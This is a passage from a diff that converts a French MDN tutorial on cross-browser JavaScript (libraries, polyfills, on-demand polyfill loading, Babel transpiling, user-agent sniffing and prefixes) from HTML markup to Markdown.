href="http://foundation.zurb.com/">Foundation</a>. Elles ont tendance à être utilisées comme les bases de la configuration de sites complets ; c'est souvent difficile de les implémenter uniquement pour une fonctionnalité UI.</li> - <li>Les librairies de nomalisation : Vous fournissent une syntaxe simple qui vous permet de compléter facilement une tâche sans avoir à vous soucier des différences entre navigateur. la librairie utilisera les APIs appopriées en arrière-plan donc la fonctionnalité marchera qu'importe le navigateur (en théorie). Par exemple, <a href="https://github.com/localForage/localForage">LocalForage</a> est une librairie pour le stockage de données côté client, qui fournit une syntaxe simple pour stocker et extraire les données. En arrière-plan, elle utilise la meilleure API que la navigateur possède pour stocker les données, que ça soit <a href="/fr/docs/Web/API/API_IndexedDB">IndexedDB</a>, <a href="/fr/docs/Web/API/Web_Storage_API">Web Storage</a>, ou encore WebSQL (qui est maintenant désapprouvée, mais qui est encore supportée dans certaines vieilles versions de Safari/IE). Comme autre exemple, JQuery.</li> -</ul> +- Les librairies utilitaires : Fournissent une quantité de fonctions pour rendre les tâches sans intérêts plus simples et moins ennuyantes à gérer. [jQuery](http://jquery.com/) par exemple fournit son propre système de sélecteurs et de librairies de manipulation de DOM, pour permettre le choix du type de sélecteur CSS, des éléments en JavaScript et une construction du DOM plus simple. Ce n'est plus aussi important aujourd'hui nous avons des fonctionnalités modernes comme les méthodes {{domxref("Document.querySelector()")}}/{{domxref("Document.querySelectorAll()")}}/{{domxref("Node")}} disponibles selon les navigateurs, mais ça peut toujours être utile quand vous avez besoin de supporter de plus vieux navigateurs. +- Les librairies de confort : Rendent les choses difficiles plus facile à faire. Par exemple, l'[API WebGL](/fr/Apprendre/WebGL) est vraiment complexe et se révèle difficile à écrire directement, alors la librairie [Three.js](https://threejs.org/) (et d'autres) est construite au-dessus de WebGL et apporte une API plus simple pour créer des objets 3D courants, des aspects, des textures etc. L'[API Service Worker ](/fr/docs/Web/API/Service_Worker_API)est aussi très complexe à utiliser, alors des librairies de code ont commencé à apparaitre pour rendre des cas d'usage des Service Worker plus facile à implémenter (voir le [Service Worker Cookbook](https://serviceworke.rs/) pour plusieurs extrait de code utiles). +- Les librairies d'effets : Ces librairies sont conçues pour vous permettre d'ajouter facilement des effets spéciaux à votre site web. C'était plus utile quand {{glossary("DHTML")}} était à la mode, et implémentait des effets impliquant beaucoup de JavaScript complexe, mais de nos jours les navigateurs ont construit une quantité de fonctionnalités en CSS3 et des APIs pour implémenter les effets plus facilement. Pour une liste de librairies, se référer à [JavaScripting.com/animation](https://www.javascripting.com/animation/). +- Les librairies d'UI : Fournissent des méthodes pour implémenter des fonctionnalités UI complexes qui serait autrement compliquées à implémenter et à faire fonctionner en navigateur croisé, par exemple [jQuery UI](http://jqueryui.com/) et [Foundation](http://foundation.zurb.com/). Elles ont tendance à être utilisées comme les bases de la configuration de sites complets ; c'est souvent difficile de les implémenter uniquement pour une fonctionnalité UI. +- Les librairies de nomalisation : Vous fournissent une syntaxe simple qui vous permet de compléter facilement une tâche sans avoir à vous soucier des différences entre navigateur. la librairie utilisera les APIs appopriées en arrière-plan donc la fonctionnalité marchera qu'importe le navigateur (en théorie). Par exemple, [LocalForage](https://github.com/localForage/localForage) est une librairie pour le stockage de données côté client, qui fournit une syntaxe simple pour stocker et extraire les données. En arrière-plan, elle utilise la meilleure API que la navigateur possède pour stocker les données, que ça soit [IndexedDB](/fr/docs/Web/API/API_IndexedDB), [Web Storage](/fr/docs/Web/API/Web_Storage_API), ou encore WebSQL (qui est maintenant désapprouvée, mais qui est encore supportée dans certaines vieilles versions de Safari/IE). Comme autre exemple, JQuery. -<p>Lorsque vous choissisez une librairie pour l'utiliser, assurez-vous qu'elle fonctionne sur l'ensemble des navigateurs que vous voulez supporter, et tester vos implémentations minutieusement. Assurez-vous également que la librairie est répandue et bien supportée, et qu'elle ne va pas devenir obsolète la semaine prochaine. Parler à d'autres développeurs pour savoir ce qu'ils peuvent vous recommander, regarder l'activité et combien de contributeurs la librairie a sur Github (ou qu'importe où elle est stockée), etc.</p> +Lorsque vous choissisez une librairie pour l'utiliser, assurez-vous qu'elle fonctionne sur l'ensemble des navigateurs que vous voulez supporter, et tester vos implémentations minutieusement. Assurez-vous également que la librairie est répandue et bien supportée, et qu'elle ne va pas devenir obsolète la semaine prochaine. Parler à d'autres développeurs pour savoir ce qu'ils peuvent vous recommander, regarder l'activité et combien de contributeurs la librairie a sur Github (ou qu'importe où elle est stockée), etc. -<div class="note"> -<p><strong>Note :</strong> <a href="https://www.javascripting.com/">JavaScripting.com</a> vous donne une idée d'à peu près combien de librairies JavaScript sont disponibles, et peut être utile pour trouver une librairie dans un but précis.</p> -</div> +> **Note :** [JavaScripting.com](https://www.javascripting.com/) vous donne une idée d'à peu près combien de librairies JavaScript sont disponibles, et peut être utile pour trouver une librairie dans un but précis. -<p>L'utilisation de librairie à un niveau basique consiste à télécharger les fichiers de la librairie (JavaScript, peut-être un peu de CSS ou d'autres dépendances) et à les attacher à votre page (par ex. via un élément {{htmlelement("script")}}, bien qu'il y ait normalement plein d'autres options d'utilisation pour de telles librairies, comme les installer comme des composants <a href="https://bower.io/">Bower</a>, ou les inclure comme des dépendances avec le module de paquets <a href="https://webpack.github.io/">Webpack</a>. Vous devrez lire les pages d'installation individuelles des librairies pour plus d'information.</p> +L'utilisation de librairie à un niveau basique consiste à télécharger les fichiers de la librairie (JavaScript, peut-être un peu de CSS ou d'autres dépendances) et à les attacher à votre page (par ex. via un élément {{htmlelement("script")}}, bien qu'il y ait normalement plein d'autres options d'utilisation pour de telles librairies, comme les installer comme des composants [Bower](https://bower.io/), ou les inclure comme des dépendances avec le module de paquets [Webpack](https://webpack.github.io/). Vous devrez lire les pages d'installation individuelles des librairies pour plus d'information. -<div class="note"> -<p><strong>Note :</strong> Vous allez aussi tomber sur des frameworks JavaScript pendant votre voyage dans le Web, comme <a href="http://emberjs.com/">Ember</a> et <a href="https://angularjs.org/">Angular</a>. Alors que les librairies sont souvent utilisées pour résoudre des problèmes individuels et ajoutées dans des sites existants, les frameworks ont tendances à être utilisés plus pour des solutions complètes pour développer des applications web complexes.</p> -</div> +> **Note :** Vous allez aussi tomber sur des frameworks JavaScript pendant votre voyage dans le Web, comme [Ember](http://emberjs.com/) et [Angular](https://angularjs.org/). Alors que les librairies sont souvent utilisées pour résoudre des problèmes individuels et ajoutées dans des sites existants, les frameworks ont tendances à être utilisés plus pour des solutions complètes pour développer des applications web complexes. -<h4 id="Les_Polyfills">Les Polyfills</h4> +#### Les Polyfills -<p>Les polyfills sont aussi des sortes de fichiers JavaScript externes que vous pouvez ajouter à votre projet, mais ils sont différents des librairies — là où les librairies améliorent les fonctionnalités existantes et rendent les choses plus simples, les polyfills apportent des fonctionnalités qui n'existent pas du tout. Les polyfills utilisent JavaScript ou d'autres technologies pour créer entièrement du support pour des fonctionnalités qu'un navigateur ne supporte pas nativement. Par exemple, vous pouvez utiliser un polyfill comme <a href="https://github.com/stefanpenner/es6-promise">es6-promise</a> pour faire fonctionner les promises sur des navigateurs où elles ne fonctionneraient pas nativement.</p> +Les polyfills sont aussi des sortes de fichiers JavaScript externes que vous pouvez ajouter à votre projet, mais ils sont différents des librairies — là où les librairies améliorent les fonctionnalités existantes et rendent les choses plus simples, les polyfills apportent des fonctionnalités qui n'existent pas du tout. Les polyfills utilisent JavaScript ou d'autres technologies pour créer entièrement du support pour des fonctionnalités qu'un navigateur ne supporte pas nativement. Par exemple, vous pouvez utiliser un polyfill comme [es6-promise](https://github.com/stefanpenner/es6-promise) pour faire fonctionner les promises sur des navigateurs où elles ne fonctionneraient pas nativement. -<p>La liste des modernizr <a href="https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills">HTML5 Cross Browser Polyfills</a> est utile pour trouver des polyfills pour différents objectifs. Une fois encore, renseignez-vous sur eux avant de les utiliser — assurez-vous qu'ils fonctionnent et qu'ils sont maintenus.</p> +La liste des modernizr [HTML5 Cross Browser Polyfills](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills) est utile pour trouver des polyfills pour différents objectifs. Une fois encore, renseignez-vous sur eux avant de les utiliser — assurez-vous qu'ils fonctionnent et qu'ils sont maintenus. -<p>Observons cet exercice — dans cet exemple nous allons utiliser un polyfill Fetch pour fournir du support pour une API Fetch dans de vieux navigateurs ; nous avons toutefois également besoin d'utiliser le polyfill es6-promise, comme Fetch utilise largement les promises, et les navigateurs qui ne les supportent pas seront toujours bloqués.</p> +Observons cet exercice — dans cet exemple nous allons utiliser un polyfill Fetch pour fournir du support pour une API Fetch dans de vieux navigateurs ; nous avons toutefois également besoin d'utiliser le polyfill es6-promise, comme Fetch utilise largement les promises, et les navigateurs qui ne les supportent pas seront toujours bloqués. -<ol> - <li>Pour commencer, faîtes une copie locale de notre exemple <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/fetch-polyfill.html">fetch-polyfill.html</a> et de <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/flowers.jpg">notre belle image de fleurs</a> dans un nouveau répertoire. Nous allons écrire du code pour récupérer l'image de fleurs et l'afficher sur la page.</li> - <li>Ensuite, sauvegarder les copies de <a href="https://raw.githubusercontent.com/github/fetch/master/fetch.js">Fetch polyfill</a> et de <a href="https://raw.githubusercontent.com/stefanpenner/es6-promise/master/dist/es6-promise.js">es6-promises polyfill</a> dans le même répertoire que le HTML.</li> - <li>Appliquer les scripts de polyfill à la page en utilisant le code suivant — placez-les au-dessus de l'élément {{htmlelement("script")}} existant ainsi ils seront déjà disponibles sur la page quand on essaiera d'utiliser Fetch : - <pre class="brush: js"><script src="es6-promise.js"></script> -<script src="fetch.js"></script></pre> - </li> - <li>Dans le {{htmlelement("script")}} original, ajoutez le code suivant :</li> - <li> - <pre class="brush: js">var myImage = document.querySelector('.my-image'); +1. Pour commencer, faîtes une copie locale de notre exemple [fetch-polyfill.html](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/fetch-polyfill.html) et de [notre belle image de fleurs](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/flowers.jpg) dans un nouveau répertoire. Nous allons écrire du code pour récupérer l'image de fleurs et l'afficher sur la page. +2. Ensuite, sauvegarder les copies de [Fetch polyfill](https://raw.githubusercontent.com/github/fetch/master/fetch.js) et de [es6-promises polyfill](https://raw.githubusercontent.com/stefanpenner/es6-promise/master/dist/es6-promise.js) dans le même répertoire que le HTML. +3. Appliquer les scripts de polyfill à la page en utilisant le code suivant — placez-les au-dessus de l'élément {{htmlelement("script")}} existant ainsi ils seront déjà disponibles sur la page quand on essaiera d'utiliser Fetch : -fetch('flowers.jpg').then(function(response) { - response.blob().then(function(myBlob) { - var objectURL = URL.createObjectURL(myBlob); - myImage.src = objectURL; - }); -});</pre> - </li> - <li>Maintenant si vous le chargez dans un navigateur qui ne supporte pas Fetch (Safari et IE sont des candidats de choix), vous devriez quand même voir l'image de la fleur apparaitre — cool !<br> - <img alt="" src="fetch-image.jpg"></li> -</ol> + ```js + <script src="es6-promise.js"></script> + <script src="fetch.js"></script> + ``` + +4. Dans le {{htmlelement("script")}} original, ajoutez le code suivant : +5. ```js + var myImage = document.querySelector('.my-image'); + + fetch('flowers.jpg').then(function(response) { + response.blob().then(function(myBlob) { + var objectURL = URL.createObjectURL(myBlob); + myImage.src = objectURL; + }); + }); + ``` -<div class="note"> -<p><strong>Note :</strong> Vous pouvez consulter notre version terminée sur <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/fetch-polyfill-finished.html">fetch-polyfill-finished.html</a> (voir aussi le <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/fetch-polyfill-finished.html">code source</a>).</p> -</div> +6. Maintenant si vous le chargez dans un navigateur qui ne supporte pas Fetch (Safari et IE sont des candidats de choix), vous devriez quand même voir l'image de la fleur apparaitre — cool ! +  -<div class="note"> -<p><strong>Note :</strong> Une fois encore, il y a plusieurs manières différentes d'utiliser les différents polyfills que vous allez rencontrer — consulter chaque documentation individuelle d'un polyfill.</p> -</div> +> **Note :** Vous pouvez consulter notre version terminée sur [fetch-polyfill-finished.html](http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/fetch-polyfill-finished.html) (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/fetch-polyfill-finished.html)). -<p>Une chose à laquelle vous devez penser est "pourquoi devrions-nous toujours charger le code polyfill, même si nous n'en avons pas besoin ?" C'est une bonne remarque — plus vos sites vont devenir complexes et plus vous aller commencer à utiliser de librairies, de polyfills, etc., vous pouvez commencer à charger beaucoup de code supplémentaire, qui peut commencer à affecter la performance, spécialement sur des appareils peu puissants. Il est donc normal de ne charger les fichiers que quand ils sont nécessaires.</p> +> **Note :** Une fois encore, il y a plusieurs manières différentes d'utiliser les différents polyfills que vous allez rencontrer — consulter chaque documentation individuelle d'un polyfill. -<p>Faire cela nécessite un peu de code supplémentaire dans votre JavaScript. Vous avez besoin d'un test de détection de caractéristiques qui détecte si le navigateur supporte la fonctionnalité que vous essayez d'utiliser :</p> +Une chose à laquelle vous devez penser est "pourquoi devrions-nous toujours charger le code polyfill, même si nous n'en avons pas besoin ?" C'est une bonne remarque — plus vos sites vont devenir complexes et plus vous aller commencer à utiliser de librairies, de polyfills, etc., vous pouvez commencer à charger beaucoup de code supplémentaire, qui peut commencer à affecter la performance, spécialement sur des appareils peu puissants. Il est donc normal de ne charger les fichiers que quand ils sont nécessaires. -<pre class="brush: js">if (browserSupportsAllFeatures()) { +Faire cela nécessite un peu de code supplémentaire dans votre JavaScript. Vous avez besoin d'un test de détection de caractéristiques qui détecte si le navigateur supporte la fonctionnalité que vous essayez d'utiliser : + +```js +if (browserSupportsAllFeatures()) { main(); } else { loadScript('polyfills.js', main); @@ -375,17 +356,21 @@ fetch('flowers.jpg').then(function(response) { function main(err) { // actual app code goes in here -}</pre> +} +``` -<p>En premier temps on exécute une condition qui vérifie si la fonction <code>browserSupportAllFeatures()</code> retourne true. Si oui, on exécute la fonction <code>main()</code>, qui contiendra tout le code de notre app. <code>browserSupportAllFeatures()</code> ressemble à ça :</p> +En premier temps on exécute une condition qui vérifie si la fonction `browserSupportAllFeatures()` retourne true. Si oui, on exécute la fonction `main()`, qui contiendra tout le code de notre app. `browserSupportAllFeatures()` ressemble à ça : -<pre class="brush: js">function browserSupportsAllFeatures() { - return window.Promise && window.fetch; -}</pre> +```js +function browserSupportsAllFeatures() { + return window.Promise && window.fetch; +} +``` -<p>Ici on vérifie si l'objet <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise">Promise</a></code> et la fonction <code><a href="/fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch()</a></code> existent dans le navigateur. Si les deux existent, la fonction retourne true. Si la fonction retourne <code>false</code>, alors on exécute le code à l'intérieur de la deuxième partie de la condition — elle exécute une fonction appelée loadScript(), qui charge les polyfills dans la page, puis exécute <code>main()</code> après que le chargement soit terminé. <code>loadScript()</code> ressemble à ça :</p> +Ici on vérifie si l'objet [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) et la fonction [`fetch()`](/fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch) existent dans le navigateur. Si les deux existent, la fonction retourne true. Si la fonction retourne `false`, alors on exécute le code à l'intérieur de la deuxième partie de la condition — elle exécute une fonction appelée loadScript(), qui charge les polyfills dans la page, puis exécute `main()` après que le chargement soit terminé. `loadScript()` ressemble à ça : -<pre class="brush: js">function loadScript(src, done) { +```js +function loadScript(src, done) { var js = document.createElement('script'); js.src = src; js.onload = function() { @@ -396,124 +381,118 @@ function main(err) { }; document.head.appendChild(js); } -</pre> +``` -<p>Cette fonction créé un nouvel élément <code><script></code>, puis applique son attribut <code>src</code> au chemin que nous avons spécifié en premier argument (<code>'polyfills.js'</code> dont nous parlions dans le code au-dessus). Une fois qu'il est chargé, nous exécutons la fonction que nous avons spécifié en deuxième argument (<code>main()</code>). Si une erreur se produit pendant le chargement du script, on continue d'appeler la fonction, mais avec une erreur personnalisée que nous pouvons retrouver pour faciliter le débug d'un problème s'il arrive.</p> +Cette fonction créé un nouvel élément `<script>`, puis applique son attribut `src` au chemin que nous avons spécifié en premier argument (`'polyfills.js'` dont nous parlions dans le code au-dessus). Une fois qu'il est chargé, nous exécutons la fonction que nous avons spécifié en deuxième argument (`main()`). Si une erreur se produit pendant le chargement du script, on continue d'appeler la fonction, mais avec une erreur personnalisée que nous pouvons retrouver pour faciliter le débug d'un problème s'il arrive. -<p>Notez que ce polyfills.js correspond aux deux polyfills que nous utilisons réunis dans un fichier. Nous l'avons fait manuellement, mais il y a des solutions intelligentes qui généreront automatiquement des paquets pour vous — voir <a href="http://browserify.org/">Browserify</a> (pour un tutoriel de départ voir <a href="https://www.sitepoint.com/getting-started-browserify/">Getting started with Browserify</a>). C'est une bonne idée de paqueter les fichiers JS en un seul comme ça — cela réduit le nombre de requêtes HTTP ce qui améliore la performance de votre site.</p> +Notez que ce polyfills.js correspond aux deux polyfills que nous utilisons réunis dans un fichier. Nous l'avons fait manuellement, mais il y a des solutions intelligentes qui généreront automatiquement des paquets pour vous — voir [Browserify](http://browserify.org/) (pour un tutoriel de départ voir [Getting started with Browserify](https://www.sitepoint.com/getting-started-browserify/)). C'est une bonne idée de paqueter les fichiers JS en un seul comme ça — cela réduit le nombre de requêtes HTTP ce qui améliore la performance de votre site. -<p>Vous pouvez voir le code en direct sur <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/fetch-polyfill-only-when-needed.html">fetch-polyfill-only-when-needed.html</a> (voir aussi <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/fetch-polyfill-only-when-needed.html">le code source</a>). Nous aimerions être clairs sur le fait qu'on ne peut s'attribuer ce code — il a été écrit à la base par Philip Walton. Aller voir son article <a href="https://philipwalton.com/articles/loading-polyfills-only-when-needed/">Loading Polyfills Only When Needed</a> pour le code original, et beaucoup d'explications utiles autour de ce large sujet.</p> +Vous pouvez voir le code en direct sur [fetch-polyfill-only-when-needed.html](http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/fetch-polyfill-only-when-needed.html) (voir aussi [le code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/fetch-polyfill-only-when-needed.html)). Nous aimerions être clairs sur le fait qu'on ne peut s'attribuer ce code — il a été écrit à la base par Philip Walton. Aller voir son article [Loading Polyfills Only When Needed](https://philipwalton.com/articles/loading-polyfills-only-when-needed/) pour le code original, et beaucoup d'explications utiles autour de ce large sujet. -<div class="note"> -<p><strong>Note :</strong> Il y a certaines options externes à prendre en considération, par exemple <a href="https://polyfill.io/v2/docs/">Polyfill.io</a> — c'est une librairie méta-polyfill qui va regarder toutes les capacités de chaque navigateur et appliquer les polyfills nécessaires, selon quelles APIs et fonctionnalités JS vous utilisez dans votre code.</p> -</div> +> **Note :** Il y a certaines options externes à prendre en considération, par exemple [Polyfill.io](https://polyfill.io/v2/docs/) — c'est une librairie méta-polyfill qui va regarder toutes les capacités de chaque navigateur et appliquer les polyfills nécessaires, selon quelles APIs et fonctionnalités JS vous utilisez dans votre code. -<h4 id="Le_transpiling_Javascript">Le transpiling Javascript</h4> +#### Le transpiling Javascript -<p>Une autre option qui et devenue populaire pour les gens qui veulent utiliser des fonctionnalités Javascript modernes dès maintenant consiste à convertir le code qui utilise les fonctionnalités ECMAScript 6/ECMAScript 2015 en une version qui fonctionnera sur les vieux navigateurs.</p> +Une autre option qui et devenue populaire pour les gens qui veulent utiliser des fonctionnalités Javascript modernes dès maintenant consiste à convertir le code qui utilise les fonctionnalités ECMAScript 6/ECMAScript 2015 en une version qui fonctionnera sur les vieux navigateurs. -<div class="note"> -<p><strong>Note :</strong> Cela s'appelle le "transpiling" — vous n'êtes pas en train de compiler du code à un niveau inférieur pour qu'il soit exécuté sur un ordinateur (comme vous l'auriez fait avec du code C) ; en fait, vous êtes en train de le transformer dans une syntaxe qui existe à un niveau similaire d'abstraction pour qu'il puisse être utilisé de la même manière, mais avec des conditions légèrement différentes (dans ce cas, transformer un type de JavaScript dans un autre).</p> -</div> +> **Note :** Cela s'appelle le "transpiling" — vous n'êtes pas en train de compiler du code à un niveau inférieur pour qu'il soit exécuté sur un ordinateur (comme vous l'auriez fait avec du code C) ; en fait, vous êtes en train de le transformer dans une syntaxe qui existe à un niveau similaire d'abstraction pour qu'il puisse être utilisé de la même manière, mais avec des conditions légèrement différentes (dans ce cas, transformer un type de JavaScript dans un autre). -<p>Pour l'exemple, nous parlions des fonctions fléchées (voir <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/arrow-function.html">arrow-function.html</a> en direct, et voir le <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/arrow-function.html">code source</a>) plus tôt dans l'article, qui ne marchent que sur les tout nouveaux navigateurs :</p> +Pour l'exemple, nous parlions des fonctions fléchées (voir [arrow-function.html](http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/arrow-function.html) en direct, et voir le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/arrow-function.html)) plus tôt dans l'article, qui ne marchent que sur les tout nouveaux navigateurs : -<pre class="brush: js">() => { ... }</pre> +```js +() => { ... } +``` -<p>Nous pouvons le transpiler en une traditionnelle et démodée fonction anonyme, donc il fonctionnera aussi sur les vieux navigateurs :</p> +Nous pouvons le transpiler en une traditionnelle et démodée fonction anonyme, donc il fonctionnera aussi sur les vieux navigateurs : -<pre class="brush: js">function() { ... }</pre> +```js +function() { ... } +``` -<p>L'outil recommandé pour transpiler du JavaScript est généralement <a href="https://babeljs.io/">Babel</a>. Il fournit la capacité de transpilation pour des fonctionnalités de langages qui sont appropriées à la transpilation. Pour les fonctionnalités qui peuvent juste être facilement transpilées en un équivalent plus ancien, Babel offre aussi des polyfills pour apporter du support.</p> +L'outil recommandé pour transpiler du JavaScript est généralement [Babel](https://babeljs.io/). Il fournit la capacité de transpilation pour des fonctionnalités de langages qui sont appropriées à la transpilation. Pour les fonctionnalités qui peuvent juste être facilement transpilées en un équivalent plus ancien, Babel offre aussi des polyfills pour apporter du support. -<p>La meilleure façon d'essayer Babel et d'utiliser la <a href="https://babeljs.io/repl/">version en ligne</a>, qui vous permet d'entrer votre code source sur la gauche, et une version transpilée sort sur la droite.</p> +La meilleure façon d'essayer Babel et d'utiliser la [version en ligne](https://babeljs.io/repl/), qui vous permet d'entrer votre code source sur la gauche, et une version transpilée sort sur la droite. -<div class="note"> -<p><strong>Note :</strong> Il y a plein de façon d'utiliser Babel (exécuteurs de tâche, outil d'automatisation, etc.), comme vous le verrez sur la <a href="https://babeljs.io/docs/setup/">page d'installation</a>.</p> -</div> +> **Note :** Il y a plein de façon d'utiliser Babel (exécuteurs de tâche, outil d'automatisation, etc.), comme vous le verrez sur la [page d'installation](https://babeljs.io/docs/setup/). -<h3 id="Utiliser_une_mauvaise_détection_de_code_de_navigateur">Utiliser une mauvaise détection de code de navigateur</h3> +### Utiliser une mauvaise détection de code de navigateur -<p>Tous les navigateurs ont un <strong>user-agent</strong>, qui identifie de quel navigateur il s'agit (version, nom, OS, etc.) Durant cette époque sombre où la plupart des gens utilisaient Netscape ou Internet Explorer, les développeurs avaient l'habitude d'utiliser les dénommés <strong>détecteur de code de navigateur</strong> pour détecter quel navigateur l'utilisateur utilisait et leur fournir le code approprié pour qu'il fonctionne sur ce navigateur.</p> +Tous les navigateurs ont un **user-agent**, qui identifie de quel navigateur il s'agit (version, nom, OS, etc.) Durant cette époque sombre où la plupart des gens utilisaient Netscape ou Internet Explorer, les développeurs avaient l'habitude d'utiliser les dénommés **détecteur de code de navigateur** pour détecter quel navigateur l'utilisateur utilisait et leur fournir le code approprié pour qu'il fonctionne sur ce navigateur. -<p>Le code utilisé ressemble à quelque chose comme ça (bien que ça soit un exemple simplifié) :</p> +Le code utilisé ressemble à quelque chose comme ça (bien que ça soit un exemple simplifié) : -<pre class="brush: js">var ua = navigator.userAgent; +```js +var ua = navigator.userAgent; if(ua.indexOf('Firefox') !== -1) { // run Firefox-specific code } else if(ua.indexOf('Chrome') !== -1) { // run Chrome-specific code -}</pre> - -<p>L'idée était assez bonne — détecter quel navigateur affiche le site, et exécuter le code approprié pour s'assurer que le navigateur sera à même de bien utiliser votre site.</p> - -<div class="note"> -<p><strong>Note :</strong> Essayez maintenant d'ouvrir votre console JavaScript et d'exécuter navigator.userAgent pour voir ce qui est retourné.</p> -</div> +} +``` -<p>Cependant, le temps passant, les développeurs ont commencé à voir des graves problèmes avec cette approche. Pour commencer, le code était source d'erreur. Et si une nouvelle fonctionnalité ne marche pas sur disons, Firefox 10 et inférieur, on implémente du code pour détecter cela, puis Firefox 11 arrive — est-ce qu'il supportera cette fonctionnalité ? Firefox 11 ne sera sûrement pas supporté parce qu'il n'est pas Firefox 10. Vous aurez à changer tout votre code de détection régulièrement.</p> +L'idée était assez bonne — détecter quel navigateur affiche le site, et exécuter le code approprié pour s'assurer que le navigateur sera à même de bien utiliser votre site. -<p>Beaucoup de développeurs on implémenté de mauvais détecteur de code de navigateur et ne l'ont pas maintenu, et les navigateurs ont commencé à être bloqués en allant sur des sites web contenant des fonctionnalités qu'ils avaient déjà implémenté. C'est devenu une pratique commune que les navigateurs commencent à mentir à propos de quel navigateur ils étaient dans leur chaîne d'user-agent (ou déclarer qu'ils étaient tous les navigateurs), pour passer outre les détecteurs de code. Les navigateurs ont également implémenté des moyens pour permettre aux utilisateurs de changer quels chaîne d'user-agent le navigateur doit retourné lorsqu'il est interrogé par du JavaScript. Tout cela fait du détecteur de code bien plus qu'une source d'erreur, et d'inutilité.</p> +> **Note :** Essayez maintenant d'ouvrir votre console JavaScript et d'exécuter navigator.userAgent pour voir ce qui est retourné. -<div class="note"> -<p><strong>Note :</strong> Vous devriez lire <a href="http://webaim.org/blog/user-agent-string-history/">History of the browser user-agent string</a> de Aaron Andersen pour une présentation utile et amusante de cette situation.</p> -</div> +Cependant, le temps passant, les développeurs ont commencé à voir des graves problèmes avec cette approche. Pour commencer, le code était source d'erreur. Et si une nouvelle fonctionnalité ne marche pas sur disons, Firefox 10 et inférieur, on implémente du code pour détecter cela, puis Firefox 11 arrive — est-ce qu'il supportera cette fonctionnalité ? Firefox 11 ne sera sûrement pas supporté parce qu'il n'est pas Firefox 10. Vous aurez à changer tout votre code de détection régulièrement. -<p>La leçon à retenir ici est — ne JAMAIS utiliser de détecteur de code. Le seul cas d'usage pour le détecteur de code de nos jours c'est si vous implémentez un fix pour un bug pour une version très particulière d'un navigateur en particulier. Même dans ce cas, la plupart des bugs sont fixés rapidement dans le cycle rapide des sorties des navigateurs. Cela n'arrive pas très souvent. {{anch("Feature detection")}} est presque toujours une meilleure option — si vous détectez si une fonctionnalité est supportée, vous n'aurez pas besoin de changer votre code quand de nouvelles versions de navigateur sortiront, et les tests sont bien plus fiables.</p> +Beaucoup de développeurs on implémenté de mauvais détecteur de code de navigateur et ne l'ont pas maintenu, et les navigateurs ont commencé à être bloqués en allant sur des sites web contenant des fonctionnalités qu'ils avaient déjà implémenté. C'est devenu une pratique commune que les navigateurs commencent à mentir à propos de quel navigateur ils étaient dans leur chaîne d'user-agent (ou déclarer qu'ils étaient tous les navigateurs), pour passer outre les détecteurs de code. Les navigateurs ont également implémenté des moyens pour permettre aux utilisateurs de changer quels chaîne d'user-agent le navigateur doit retourné lorsqu'il est interrogé par du JavaScript. Tout cela fait du détecteur de code bien plus qu'une source d'erreur, et d'inutilité. -<p>Si vous rejoignez un projet existant où il y a déjà de la détection de navigateur, regardez si elle peut être remplacée avec quelque chose de plus pratique. La détection de navigateur est à l'origine de toutes sortes de bugs curieux, comme {{bug(1308462)}}.</p> +> **Note :** Vous devriez lire [History of the browser user-agent string](http://webaim.org/blog/user-agent-string-history/) de Aaron Andersen pour une présentation utile et amusante de cette situation. -<h3 id="Gérer_les_préfixes_JavaScript">Gérer les préfixes JavaScript</h3> +La leçon à retenir ici est — ne JAMAIS utiliser de détecteur de code. Le seul cas d'usage pour le détecteur de code de nos jours c'est si vous implémentez un fix pour un bug pour une version très particulière d'un navigateur en particulier. Même dans ce cas, la plupart des bugs sont fixés rapidement dans le cycle rapide des sorties des navigateurs. Cela n'arrive pas très souvent. {{anch("Feature detection")}} est presque toujours une meilleure option — si vous détectez si une fonctionnalité est supportée, vous n'aurez pas besoin de changer votre code quand de nouvelles versions de navigateur sortiront, et les tests sont bien plus fiables. -<p>Dans l'article précédent, nous parlions quelque peu de la <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS#Gestion_des_pr%C3%A9fixes_CSS">gestion des préfixes CSS</a>. Alors, les nouvelles implémentations JavaScript utilisent parfois aussi des préfixes, bien que JavaScript utilise le camel case plutôt que l'hyphenation comme CSS. Par exemple, si un préfixe est utilisé sur un objet d'une toute belle API appelée <code>Ojbect</code> :</p> +Si vous rejoignez un projet existant où il y a déjà de la détection de navigateur, regardez si elle peut être remplacée avec quelque chose de plus pratique. La détection de navigateur est à l'origine de toutes sortes de bugs curieux, comme {{bug(1308462)}}. -<ul> - <li>Mozilla utilisera <code>mozObject</code></li> - <li>Chrome/Opera/Safariutiliseront <code>webkitObject</code></li> - <li>Microsoft utilisera <code>msObject</code></li> -</ul> +### Gérer les préfixes JavaScript -<p>Voici un exemple, issu de notre <a href="http://mdn.github.io/violent-theremin/">demo violent-theremin</a> (voir le <a href="https://github.com/mdn/violent-theremin">code source</a>), qui utilise une combinaison de l'<a href="/fr/docs/Web/HTML/Canvas">API Canvas</a> et de l'<a 